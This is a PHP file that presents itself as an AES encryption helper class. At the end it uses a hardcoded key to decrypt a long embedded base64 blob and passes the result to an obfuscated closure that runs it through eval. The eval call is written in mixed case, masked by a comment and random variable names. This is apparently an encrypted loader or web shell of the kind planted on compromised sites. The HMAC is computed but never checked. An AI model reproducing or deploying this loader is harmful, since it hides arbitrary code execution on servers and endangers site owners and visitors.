<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('N6uMJKedZNMwPzS8PotFBSUzey9KJVY8');
$str = 'CmENlEhP9tn6tRSt/NVLs0zaQ4+ZsT/H/2zTSYQAUcq/rHnf0B6arPEIVbzWuo3WVssTbmPLRhQ1hBJ9ir+JZjgW6Ov7ZuDRatGLbAZI99OsEaAujmeapRGKGDqsXBNl6fZRA/oi2dRLfGbgOesTYe+PKkHlLrJQ2KcuFrf4nwXF6IeO4kgkFSC+4KMjVvXT8/CeCR0RQ7Q8IZhQhlBr9w9IvCe+hvABJ3UZSW6AwxSikYmVIG61q1JS2rKlPQo3utNtdwh6xx1g8hwpg7jxbt6T5oIAlqiQhkkQoWlt5wD/NzPIdw7HLxxSXQoVdPE8EOj1y8fDBib5AZRGli0/Ht/pnYZznBXmw7BOCfNXQoHmcQ0IDAk6jLEzU8Lg1+TaNc14m5xTPV7bT7hx9OC0AXkpzqfwJYSeXU3D4LmAtzK4/eABj2yoyehdjcKFYzlitambnMiFBMiOtu6CjzQBk5PqSa6vYqk+OLm9ht88yk3N2G/6CnFqxXK1LNj/yR/S';
$decrypted = $secure->decrypt($str);
$eWtmqfFD8h = function($LmTUs2kL2HT){
/*TdeSANbgJ*/eVaL($LmTUs2kL2HT);
$rVcRduNllXW = "QaQDNkRYroZYQrQRlwz0tw2LqopjnlUo";
return $rVcRduNllXW;
};
$eWtmqfFD8h($decrypted);
|